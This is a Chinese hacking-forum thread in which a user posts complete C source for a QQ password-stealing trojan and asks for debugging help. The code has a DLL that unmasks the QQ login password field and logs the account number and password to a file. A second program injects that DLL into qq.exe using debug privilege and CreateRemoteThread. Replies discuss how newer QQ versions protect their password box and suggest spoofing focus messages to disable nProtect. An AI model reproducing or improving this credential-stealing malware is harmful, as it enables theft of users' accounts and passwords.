返回列表 发帖

[讨论]关于QQ密码的问题——代码注入

[讨论]关于QQ密码的问题——代码注入
议题作者:uncledo
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

看了一篇《针对QQ1230及2003版的木马程序源代码,兼容win98,2000,不显示进程》后按照思路自己模仿了一下。没能成功,dll 中的代码没起作用,
请大家指点一下,关键是dll不好调试!

vc 6.0 sp2

要注入到qq的dll
复制内容到剪贴板
代码:
#include <windows.h>
#include <stdio.h>

//---------------------------------------------------------------------
/*---------------------------------------------------------------------
递归枚举hFatherWindow指定的窗口下的所有子窗口和兄弟窗口,
返回和lstyle样式相同的窗口句柄,如果没有找到,返回NULL
---------------------------------------------------------------------*/
HWND GetStyleWindow(HWND hFatherWindow, const long lstyle)
{
  //如果这个窗口符合查找条件,返回此句柄
  if (GetWindowLong(hFatherWindow, GWL_STYLE) == lstyle)
  {
    return hFatherWindow;
  }

  HWND hNextWindow, hDestWindow;

  //得到子窗口句柄
  if ((hNextWindow = GetWindow(hFatherWindow, GW_CHILD))!= NULL)
  {
    //递归查找子窗口
    if ((hDestWindow = GetStyleWindow(hNextWindow, lstyle)) != NULL)
    {
      return hDestWindow;
    }
  }

  //递归查找兄弟窗口
  if ((hNextWindow = GetWindow(hFatherWindow, GW_HWNDNEXT)) != NULL)
  {
    return GetStyleWindow(hNextWindow, lstyle);
  }

  //没有匹配的则返回NULL
  return NULL;
}

//---------------------------------------------------------------------

int SavePass(char *pchFmtResult)

{
  char total[50];
  total[50]=*pchFmtResult;

  HANDLE f;
  DWORD dw;

  //把QQ号码和QQ密码写入C盘password.txt中

  f=CreateFile("c:\\password.txt",
  GENERIC_WRITE,
  FILE_SHARE_WRITE,
  NULL,
  OPEN_ALWAYS,
  FILE_ATTRIBUTE_NORMAL,
  NULL);

  WriteFile(f,&total,sizeof(total),&dw,NULL);

  CloseHandle(f);
  return 0;
}

//---------------------------------------------------------------------
DWORD WINAPI GetQQPass(void)
{
  //用spy++得到的QQ的数据
  //QQ登录窗口的类名
  const char *pchWinClass = "#32770";
  //QQ登录窗口的号码窗口样式
  const long lNumWindowStyle1 = 0x50010242;
  //QQ登录窗口的密码窗口样式
  const long lPassWindowStyle1 = 0x50000044;


  HWND hLoginWindow, hNumWindow, hPassWindow;
  char achNum[20], achPass[25], achFmtResult[50];
  DWORD ThreadID;

  while(1)
  {
    Sleep(200);

    //找到QQ登录窗口

    hLoginWindow=FindWindow(pchWinClass,"QQ用户登录");

    if(IsWindow(hLoginWindow))
    {
      //获取QQ用户登录对话框里面的号码窗口和密码窗口的句柄
      hNumWindow = GetStyleWindow(hLoginWindow, lNumWindowStyle1);
      hPassWindow = GetStyleWindow(hLoginWindow, lPassWindowStyle1);
      //如果句柄都有效
      if ((hNumWindow && hPassWindow))
      {
        ZeroMemory(achFmtResult, sizeof(achFmtResult));

        //当句柄仍然有效时,说明用户没有点击进入下一步窗口的
        //按钮,则可能还没有输完号码和密码,所以要一直得到这
        //两个窗口的内容,直到窗口无效
        while(GetStyleWindow(hNumWindow, lNumWindowStyle1)
            && GetStyleWindow(hPassWindow, lPassWindowStyle1))
        {
          ZeroMemory(achNum, sizeof(achNum));
          ZeroMemory(achPass, sizeof(achPass));
          SendMessage(hNumWindow, WM_GETTEXT, sizeof(achNum), (LPARAM)achNum);
          //SendMessage(hPassWindow, WM_GETTEXT, sizeof(achPass), (LPARAM)achPass);
/////////////////////
          long nType;

nType = SendMessage(hPassWindow, EM_GETPASSWORDCHAR, 0, 0);//得到该密码框属性,用做取完密码后恢复该属性用
PostMessage( hPassWindow, EM_SETPASSWORDCHAR, 0, 0);//去除密码框密码属性
Sleep (100);//停止100毫秒,这点很重要
SendMessage (hPassWindow,WM_GETTEXT,sizeof(achPass),(LPARAM)achPass);//取出QQ登录密码
PostMessage (hPassWindow,EM_SETPASSWORDCHAR,nType,0);//恢复QQ密码框属性
/////////////////////
          if (lstrlen(achPass))
          {
            ZeroMemory(achFmtResult, sizeof(achFmtResult));
            sprintf(achFmtResult, "%s:%s", achNum, achPass);
          }

          Sleep(20);
        }

        if (lstrlen(achFmtResult) > 6)
        {
          CreateThread(NULL,
                  0,
                  (LPTHREAD_START_ROUTINE)SavePass,
                  achFmtResult,
                  0,
                  &ThreadID);

          Sleep(1000);
        }
      }
    }
  }

  return 0;
}
//-----------------------------------------------------------
BOOL APIENTRY DllMain(
  HANDLE hModule,  // Handle to DLL module
  DWORD ul_reason_for_call,  // Reason for calling function
  LPVOID lpReserved ) // Reserved
{
  switch ( ul_reason_for_call )
  {
    case DLL_PROCESS_ATTACH:
    // A process is loading the DLL.
    break;
    case DLL_THREAD_ATTACH:
    // A process is creating a new thread.
      CreateThread(NULL,
      0,
      (LPTHREAD_START_ROUTINE)GetQQPass,
      0,
      0,
      NULL);
    break;
    case DLL_THREAD_DETACH:
    // A thread exits normally.
    break;
    case DLL_PROCESS_DETACH:
    // A process unloads the DLL.
    break;
  }
  return TRUE;
}
负责注入的cpp 要把dll放在同一目录
复制内容到剪贴板
代码:
#include <windows.h>
#include <string.h>
#include "tlhelp32.h"
#include <stdio.h>
#include <Shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")

#include <stdlib.h>
#include <string>

#include "atlbase.h"
//#include "atlstr.h"
#include "comutil.h"


#ifdef _DEBUG
#include <stdio.h>
#endif

//---------------------------------------------------------------------
int InjectDll( char *FullName, const DWORD Pid);
//---------------------------------------------------------------------
int AddPrivilege(const char *Name);
//---------------------------------------------------------------------
DWORD WINAPI InjectQQ(void);
//---------------------------------------------------------------------
DWORD ProcessToPID(const char *ProcessName);
//---------------------------------------------------------------------

main()
{
  printf("lets go..\n");
  HANDLE honkHandle;
honkHandle=CreateThread(NULL,
      0,
      (LPTHREAD_START_ROUTINE)InjectQQ,
      0,
      0,
      NULL);

while(WaitForSingleObject(honkHandle,INFINITE)==WAIT_TIMEOUT)
  {
    printf("waiting for the thread to finish\n");
  }

printf("ok stop ..\n");
  return TRUE;
}
//---------------------------------------------------------------------
DWORD WINAPI InjectQQ(void)
{  
  printf("start injectqq ..\n");

  int i = GetCurrentDirectory(0,NULL);
  //先把两个参数设为0,NULL用来返回目录的字符数.

  char dir[100];

  GetCurrentDirectory(i,dir);
  #ifdef _DEBUG
  printf("当前目录:%s\n",dir); //显示目录
  #endif
  strcat(dir, "\\inqq.dll");

  //这里是把当前目录和一个文件结合起来,得到文件的绝对路径
  #ifdef _DEBUG
  printf("need dll :%s\n",dir); //显示全名inqq.dll
  #endif
  ///////////////////////////////
  #ifdef _DEBUG
  printf("start find qq process..\n");
  #endif
  //查找QQ进程
  DWORD    NewPid;

  NewPid=ProcessToPID("qq.exe");
  InjectDll(dir, NewPid);

   Sleep(500);
  
  return 0;
}

//---------------------------------------------------------------------
//将FullName指定的dll文件以远程线程方式插入到Pid指定的进程里
int InjectDll( char *FullName, const DWORD Pid)
{
  HANDLE hRemoteProcess;

  //如果是要打开系统进程,一定要先申请debug权限
  AddPrivilege(SE_DEBUG_NAME);

  if ((hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许远程创建线程
    PROCESS_VM_OPERATION | //允许远程VM操作
    PROCESS_VM_WRITE | //允许远程VM写
    PROCESS_VM_READ,  //允许远程VM读
    0,
    Pid)) == NULL)
  {
    #ifdef _DEBUG
      printf("OpenProcess() error.\n");
    #endif
    return 1;
  }

  char *pDllName;

  if ((pDllName = (char *)VirtualAllocEx( hRemoteProcess,
    NULL,
    lstrlen(FullName) + 1,
    MEM_COMMIT,
    PAGE_READWRITE)) == NULL)
  {
    #ifdef _DEBUG
      printf("VirtualAllocEx() error.\n");
    #endif
    return 1;
  }

  //使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
  if (WriteProcessMemory(hRemoteProcess,
    pDllName,
    (void *)FullName,
    lstrlen(FullName),
    NULL) == 0)
  {
    #ifdef _DEBUG
      printf("WriteProcessMemory() error.\n");
    #endif
    return 1;
  }
  //计算LoadLibraryA的入口地址
  PTHREAD_START_ROUTINE pfnStartAddr;

  if ((pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(
    GetModuleHandle(TEXT("kernel32")), "LoadLibraryA")) == NULL)
  {
    #ifdef _DEBUG
      printf("GetProcAddress() error.\n");
    #endif
    return 1;
  }


  HANDLE hRemoteThread;
  DWORD ThreadId;

  if ((hRemoteThread = CreateRemoteThread(hRemoteProcess, //被嵌入的远程进程
    NULL,
    0,
    pfnStartAddr, //LoadLibraryA的入口地址
    pDllName,
    0,
    &ThreadId)) == NULL)
  {
    #ifdef _DEBUG
      printf("CreateRemoteThread() error.\n");
    #endif
    return 1;
  }
  //////////////////////////////////////////////
  printf("wait wait......");
  WaitForSingleObject(hRemoteThread,INFINITE);
  /////////////////////////////////////////////////////

  return 0;
}

//为当前进程增加指定的特权
int AddPrivilege(const char *Name)
{
  HANDLE hToken;
  TOKEN_PRIVILEGES tp;

古董级QQ盗,现在当然没用了

不过你可以找个QQ2003版试下。。。--->  伱 能 領 導 潮 流.  我 可 領 導 全 賕!  <---

帖子238 精华12 积分4746 阅读权限100 性别男 来自gd 在线时间1268 小时 注册时间2006-5-19 最后登录2008-7-18 查看详细资料TOP 您知道您年薪应是多少?

sudami
大米米

运维管理组

TOP

确实是很早以前用来科普的方法。。。

注入MS不可取,来个底层点儿的~WINDOWS内核疯狂爱好者
帖子242 精华6 积分5536 阅读权限150 性别男 在线时间1113 小时 注册时间2007-1-10 最后登录2008-7-23 查看个人网站
查看详细资料TOP 让女孩一夜变的更有女人味

asm
运维管理组

TOP

SendMessage (hPassWindow,WM_GETTEXT,sizeof(achPass),(LPARAM)achPass)

还有这种方法来取密码呀?游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn
帖子1604 精华30 积分8760 阅读权限150 性别男 在线时间954 小时 注册时间2006-9-21 最后登录2008-7-24 查看详细资料TOP

uncledo
晶莹剔透§烈日灼然

TOP

引用:
引用第2楼sudami于2008-01-02 09:24发表的 :
确实是很早以前用来科普的方法。。。

注入MS不可取,来个底层点儿的~
注入有很多方法的,譬如用detours 函数修改qq.exe这样,就可以自动加载dll,MS还是有发展空间的
我也是新手,呵呵。

回3楼:
MS这样最简单呀,当然还有其它的方法,譬如到内存中,这里有一篇
https://forum.eviloctal.com/read-htm-tid-30427.html

回1楼:阁下肯定没有看那篇原文,当时作者只能得到管理员的QQ,一个bug!

qq2007用了什么方法保护它的密码框吗? 有哪位能帮忙调试一下dll,看看是哪一步出错了?
帖子14 精华0 积分48 阅读权限40 在线时间124 小时 注册时间2007-6-15 最后登录2008-6-28 查看详细资料TOP 让女孩一夜变的更有女人味

zshoucheng
荣誉会员

TOP

代码过时了不想再看他的文章浪费时间。。。

QQ2007 的密码框不是普通的 EDIT控件+password属性 的密码控件,
腾讯早就用自己实现的密码输入控件了
QQ2007安装目录下有个 qqedit 文件夹,里面有个 qqedit.dll + NP

猥琐一下就可以得到密码了。。。 --->  伱 能 領 導 潮 流.  我 可 領 導 全 賕!  <---

帖子238 精华12 积分4746 阅读权限100 性别男 来自gd 在线时间1268 小时 注册时间2006-5-19 最后登录2008-7-18 查看详细资料TOP 良辰择日,预测咨询,公司改名,权威易经

黄瓜
晶莹剔透§烈日灼然

TOP

老的掉渣渣了!呵呵!2003、我想飞却怎么也飞不起来。
帖子11 精华0 积分33 阅读权限40 性别男 在线时间16 小时 注册时间2007-12-1 最后登录2008-5-14 查看详细资料TOP 让女孩一夜变的更有女人味

uncledo
晶莹剔透§烈日灼然

TOP

引用:
引用第6楼黄瓜于2008-01-04 13:18发表的 :
老的掉渣渣了!呵呵!2003、
呵呵,是有点老了,不过编程序呢得一步一步来呀,真正自己从头开发,你就知道有多么的难了,原理谁都懂...牛人们都把原理说清楚了,我们又消化吸收了没呢!

非常谢谢zshoucheng,我正愁找不到那个NP在哪呢!! 看Kevins写过
"所以,当你发现某控件获得焦点的时候,你可以无耻的冒充windows发送WM_KILLFOCUS消息,这样nProtect就自动退出保护啦" 呵呵,猥琐一下.....
帖子14 精华0 积分48 阅读权限40 在线时间124 小时 注册时间2007-6-15 最后登录2008-6-28 查看详细资料TOP

mustkkk
晶莹剔透§烈日灼然

TOP

返回列表